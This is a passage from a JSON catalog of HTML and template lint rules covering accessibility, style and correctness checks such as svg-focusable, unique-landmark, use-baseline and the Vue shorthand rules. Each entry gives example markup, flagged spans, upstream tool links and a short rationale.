          "url": "https://html-validate.org/rules/require-sri.html"
        }
      ],
      "why": "A file loaded from a CDN or another server can change after the page was written, and the page then runs or applies the changed file without noticing.\n\nTo fix, add `integrity` with the hash of the file and `crossorigin=\"anonymous\"`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<script>` whose `type` is a JavaScript MIME type (`text/javascript`, `application/javascript`, ...) or empty. `type=\"module\"` and other types are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<script type=\"text/javascript\"></script>\n<script type=\"module\"></script>\n<script></script>\n<img src=\"a.png\">\n<img src=\"a.png\" alt=\"\">\n<img src=\"a.png\" role=\"presentation\">\n",
        "language": "html",
        "other_lines": [
          6
        ],
        "spans": [
          {
            "column": 9,
            "length": 22,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "script-type",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "script-type",
          "note": "the JavaScript MIME types and an empty type; the allowed module and importmap types are not special",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/script-type.html"
        }
      ],
      "why": "The browser assumes that type, so the attribute says nothing and is only more text.\n\nTo fix, remove the `type`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `name={name}` where the shorthand `{name}` would do. The fix writes the shorthand.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          5,
          6,
          8,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 56,
            "length": 2,
            "line": 4
          }
        ]
      },
      "fix": "safe",
      "id": "shorthand-attribute",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "shorthand-attribute",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/shorthand-attribute/"
        }
      ],
      "why": "The name is written twice for nothing, and one form keeps the components uniform.\n\nTo fix, write `{name}`; the fix does it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `bind:name={name}`, `class:name={name}` and `style:name={name}` where the shorthand (`bind:name`) would do. The fix writes the shorthand.",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          6,
          8,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 69,
            "length": 10,
            "line": 4
          },
          {
            "column": 88,
            "length": 8,
            "line": 4
          },
          {
            "column": 8,
            "length": 10,
            "line": 5
          }
        ]
      },
      "fix": "safe",
      "id": "shorthand-directive",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "shorthand-directive",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/shorthand-directive/"
        }
      ],
      "why": "The name is written twice for nothing, and one form keeps the components uniform.\n\nTo fix, write `bind:name`; the fix does it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an HTML comment with no space after `<!--` or before `-->` (`<!--text-->`).",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          4,
          5,
          6,
          8,
          9,
          10,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 1,
            "length": 10,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "spaced-html-comment",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "spaced-html-comment",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/spaced-html-comment/"
        }
      ],
      "why": "A space keeps the text apart from the marker and reads as text, not as commented-out code.\n\nTo fix, write `<!-- text -->`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an `<svg>` that has no `focusable` attribute.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          10,
          11,
          12,
          15,
          16,
          17,
          18,
          19,
          21,
          22,
          23,
          24,
          25,
          29,
          30
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "svg-focusable",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "svg-focusable",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/svg-focusable.html"
        }
      ],
      "why": "Internet Explorer 11 and old Edge make every `<svg>` a stop of the Tab key unless it says `focusable=\"false\"`.\n\nTo fix, add `focusable=\"false\"`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `scope` attribute on an element other than `<th>`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<div (click)=\"a()\"></div>\n<div (click)=\"a()\" (keydown.enter)=\"a()\" tabindex=\"0\"></div>\n<div on-click=\"a()\" role=\"presentation\"></div>\n<button (click)=\"a()\"></button>\n<a (click)=\"a()\" routerLink=\"/x\">x</a>\n<a (click)=\"a()\">x</a>\n<app-card (click)=\"a()\"></app-card>\n<div role=\"heading\" (keydown)=\"a()\"></div>\n@if (ok) { <div (click)=\"a()\" aria-hidden=\"true\"></div> }\n<div (mouseover)=\"a()\"></div>\n<div (mouseout)=\"a()\" (blur)=\"b()\"></div>\n<label>Name</label>\n<input id=\"a\" /> <label for=\"a\">Name</label> <label [for]=\"id\">Name</label> <label><input /></label>\n@if (ok) { <a></a> }\n<h2></h2>\n<a [innerHTML]=\"html\"></a> <a><img alt=\"x\" /></a> <a aria-label=\"x\"></a> <a>{{ x }}</a>\n<input autofocus />\n<dialog><input autofocus /></dialog>\n<mat-sidenav [autoFocus]=\"x\"></mat-sidenav> <input [autofocus]=\"y\" />\n<p *ngIf=\"a\">x</p>\n<p *ngFor=\"let x of xs\">x</p>\n<div [ngSwitch]=\"a\"><i *ngSwitchCase=\"1\"></i></div>\n<td scope=\"row\"></td>\n<th scope=\"row\"></th>\n<img src=\"a.png\" aria-hidden=\"true\" />\n<img [alt]=\"t\" src=\"a.png\" /> <area href=\"/x\" /> <input type=\"image\" />\n",
        "language": "angular",
        "other_lines": [
          1,
          4,
          6,
          10,
          12,
          14,
          15,
          17,
          19,
          20,
          21,
          22,
          25,
          26
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 23
          }
        ]
      },
      "fix": null,
      "id": "table-scope",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "table-scope",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/table-scope.md"
        }
      ],
      "why": "`scope` tells assistive technology which cells a header cell labels. On any other element it has no meaning and is ignored, so the table is no easier to read than without it, while the attribute suggests that it is."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `<button>` with no name: no text (an `<svg>` counts by the text inside it, such as its `<title>`), no image with a non-empty `alt` and no `aria-label` or `aria-labelledby`. A `title` does not count.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          10,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          21,
          22,
          23,
          24
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 25
          },
          {
            "column": 1,
            "length": 1,
            "line": 29
          },
          {
            "column": 1,
            "length": 1,
            "line": 30
          }
        ]
      },
      "fix": null,
      "id": "text-content",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "text-content",
          "note": "button only",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/text-content.html"
        }
      ],
      "why": "A button with no name is announced as just \"button\", and the user cannot tell what it does.\n\nTo fix, put text in the button or add `aria-label`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports landmarks of the same kind (`<nav>`, `<aside>`, or elements with the same landmark `role`) that a screen reader user cannot tell apart: with several of them, each needs an `aria-label` or `aria-labelledby` that no other has.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          10,
          11,
          12,
          13,
          17,
          18,
          19,
          22,
          24,
          25,
          29,
          30
        ],
        "spans": [
          {
            "column": 2,
            "length": 3,
            "line": 15
          },
          {
            "column": 28,
            "length": 3,
            "line": 15
          },
          {
            "column": 2,
            "length": 3,
            "line": 16
          },
          {
            "column": 2,
            "length": 3,
            "line": 21
          },
          {
            "column": 2,
            "length": 4,
            "line": 23
          }
        ]
      },
      "fix": null,
      "id": "unique-landmark",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "unique-landmark",
          "note": "header, footer, section and form landmarks are not checked",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/unique-landmark.html"
        }
      ],
      "why": "A list of landmarks that holds \"navigation, navigation, navigation\" gives no way to pick the right one.\n\nTo fix, give each landmark a label that tells it from the others."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a named character reference in text (`&name;`) that HTML does not define. Numeric references and references in attribute values are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p>&foo; &amp; &copy; &#123;</p>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 5,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "unrecognized-char-ref",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "no-invalid-entity",
          "note": "named references in text only",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-invalid-entity"
        },
        {
          "id": "unrecognized-char-ref",
          "note": "named references in text only; a missing semicolon, ignoreCase and references in attribute values are not checked",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/unrecognized-char-ref.html"
        }
      ],
      "why": "The browser shows the text as written, `&foo;`, which was not meant; it is usually a typo of an entity.\n\nTo fix, correct the name, or write `&amp;` before it if the text is meant."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an element, an attribute or an attribute value that not all major browsers support (`<geolocation>`, `popover=\"hint\"`, `rel=\"manifest\"` on `<link>`), by the baseline data of web-features. A name the data does not list is not reported; custom elements are skipped, and so are `is` and `slot` in Vue, Svelte and Angular templates, where the framework owns them. The option `available` sets how widely a feature must be available.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<a href=\"x\" download>x</a>\n<button interestfor=\"x\">x</button>\n<link rel=\"manifest\" href=\"m\">\n<link rel=\"stylesheet\" href=\"s\">\n<geolocation></geolocation>\n<p foo=\"bar\" popover=\"hint\">x</p>\n<my-element interestfor=\"x\"></my-element>\n<datalist id=\"l\"></datalist>\n<p autocorrect=\"on\">x</p>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 11,
            "line": 2
          },
          {
            "column": 12,
            "length": 8,
            "line": 3
          },
          {
            "column": 2,
            "length": 11,
            "line": 5
          },
          {
            "column": 23,
            "length": 4,
            "line": 6
          },
          {
            "column": 2,
            "length": 8,
            "line": 8
          },
          {
            "column": 4,
            "length": 11,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "use-baseline",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [
        {
          "default": "widely",
          "description": "How widely a feature must be available: `widely` (in all major browsers for 30 months), `newly` (in all of them), or a year (baseline since that year or before).",
          "name": "available",
          "type": "string"
        }
      ],
      "presets": [
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "use-baseline",
          "note": "not the `sms:` links (a value prefix)",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/use-baseline"
        }
      ],
      "why": "A feature that only some browsers have works for part of the users and does nothing or breaks for the rest, and the author sees it only in the browser they test with.\n\nTo fix, use a feature with wider support, or provide a fallback and turn the rule off for it."
    },
    {
      "category": "style",
      "default_level": "warn",
      "description": "Reports `v-bind:` where the shorthand `:` would do (`v-bind:href`). The fix writes `:`.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <MyCard :title=\"t\" @click=\"go\" :cardTitle=\"c\" cardSub=\"s\" my-prop=\"p\"\n    :ok=\"1\"\n    :cardOther=\"o\">\n    <template #head>h</template>\n    <template v-slot=\"p\">d</template>\n  </MyCard>\n  <svg :viewBox=\"v\"></svg>\n</template>\n",
        "input": "<template>\n  <MyCard v-bind:title=\"t\" v-on:click=\"go\" :cardTitle=\"c\" cardSub=\"s\" my-prop=\"p\"\n    :ok=\"1\"\n    :cardOther=\"o\">\n    <template v-slot:head>h</template>\n    <template v-slot=\"p\">d</template>\n  </MyCard>\n  <svg :viewBox=\"v\"></svg>\n</template>\n",
        "language": "vue",
        "other_lines": [
          4,
          5
        ],
        "spans": [
          {
            "column": 11,
            "length": 7,
            "line": 2
          }
        ]
      },
      "fix": "safe",
      "id": "v-bind-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "v-bind-style",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/v-bind-style.html"
        }
      ],
      "why": "One form keeps the templates uniform and shorter; the long form reads as a different thing from the short one though they mean the same.\n\nTo fix, write `:`; the fix does it."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `v-for` with no `:key` (or `v-bind:key`). On a `<template>` or `<slot>` the key goes on the child elements; components are left to `valid-v-for`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<ul>\n<li v-for=\"x in xs\">a</li>\n<li v-for=\"x in xs\" :key=\"x.id\">b</li>\n<li v-for=\"x in xs\" v-bind:key=\"x\">c</li>\n</ul>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "v-for-key",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "require-v-for-key",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/require-v-for-key.html"
        }
      ],
      "why": "Without a key Vue patches the elements in place when the list changes, which keeps stale state in inputs and components and breaks transitions.\n\nTo fix, add a `:key` with a value that is unique to each item."
    },
    {
      "category": "style",
      "default_level": "warn",
      "description": "Reports an event of a component that is written in camelCase (`@cardOpen`). A component is a tag in PascalCase or with a hyphen; HTML and SVG elements are not checked. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <div></div>\n    <img />\n    <img>\n    <div />\n    <div>text</div>\n    <MyCard></MyCard>\n    <svg><path d=\"M0\"></path></svg>\n    <a @click=\"go\" :href=\"u\" v-if=\"ok\">x</a>\n    <a v-if=\"ok\" :href=\"u\" @click=\"go\">x</a>\n    <input v-bind=\"props\" :id=\"i\" v-model=\"m\">\n    <MyCard @cardOpen=\"go\" @card-close=\"go\" @click=\"go\" />\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          8,
          9,
          10
        ],
        "spans": [
          {
            "column": 13,
            "length": 9,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "v-on-event-hyphenation",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "v-on-event-hyphenation",
          "note": "`always` only, no `ignore` list",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/v-on-event-hyphenation.html"
        }
      ],
      "why": "Event names in a template are read in lowercase by the HTML parser, so kebab-case is the one form that works in every kind of template, and the component emits it in the same style.\n\nTo fix, write the event in kebab-case (`@card-open`)."
    },
    {
      "category": "style",
      "default_level": "warn",
      "description": "Reports `v-on:` where the shorthand `@` would do (`v-on:click`). The fix writes `@`.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <MyCard :title=\"t\" @click=\"go\" :cardTitle=\"c\" cardSub=\"s\" my-prop=\"p\"\n    :ok=\"1\"\n    :cardOther=\"o\">\n    <template #head>h</template>\n    <template v-slot=\"p\">d</template>\n  </MyCard>\n  <svg :viewBox=\"v\"></svg>\n</template>\n",
        "input": "<template>\n  <MyCard v-bind:title=\"t\" v-on:click=\"go\" :cardTitle=\"c\" cardSub=\"s\" my-prop=\"p\"\n    :ok=\"1\"\n    :cardOther=\"o\">\n    <template v-slot:head>h</template>\n    <template v-slot=\"p\">d</template>\n  </MyCard>\n  <svg :viewBox=\"v\"></svg>\n</template>\n",
        "language": "vue",
        "other_lines": [
          4,
          5
        ],
        "spans": [
          {
            "column": 28,
            "length": 5,
            "line": 2
          }
        ]
      },
      "fix": "safe",
      "id": "v-on-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "v-on-style",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/v-on-style.html"
        }
      ],
      "why": "One form keeps the templates uniform and shorter.\n\nTo fix, write `@`; the fix does it."
    },
    {
      "category": "style",
      "default_level": "warn",
      "description": "Reports `v-slot:` where the shorthand `#` would do (`v-slot:head`). The fix writes `#`.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <MyCard :title=\"t\" @click=\"go\" :cardTitle=\"c\" cardSub=\"s\" my-prop=\"p\"\n    :ok=\"1\"\n    :cardOther=\"o\">\n    <template #head>h</template>\n    <template v-slot=\"p\">d</template>\n  </MyCard>\n  <svg :viewBox=\"v\"></svg>\n</template>\n",
        "input": "<template>\n  <MyCard v-bind:title=\"t\" v-on:click=\"go\" :cardTitle=\"c\" cardSub=\"s\" my-prop=\"p\"\n    :ok=\"1\"\n    :cardOther=\"o\">\n    <template v-slot:head>h</template>\n    <template v-slot=\"p\">d</template>\n  </MyCard>\n  <svg :viewBox=\"v\"></svg>\n</template>\n",
        "language": "vue",
        "other_lines": [
          2,
          4
        ],
        "spans": [
          {
            "column": 15,
            "length": 7,
            "line": 5
          }
        ]
      },
      "fix": "safe",
      "id": "v-slot-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "v-slot-style",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/v-slot-style.html"
        }
      ],
      "why": "One form keeps the templates uniform and shorter.\n\nTo fix, write `#`; the fix does it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an `id` that is empty, has white space, begins with a digit or has characters other than letters, digits, `-` and `_`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p id=\"1a\"></p>\n<p id=\"a b\"></p>\n<p id=\"a-b_c\"></p>\n<p id=\"\"></p>\n<label for=\"x\"><input type=\"text\" id=\"x\"></label>\n<label for=\"y\">y</label><input type=\"text\" id=\"y\">\n<label for=\"missing\">z</label>\n<p aria-labelledby=\"y nothere\"></p>\n",
        "language": "html",
        "other_lines": [
          7,
          9,
          10
        ],
        "spans": [
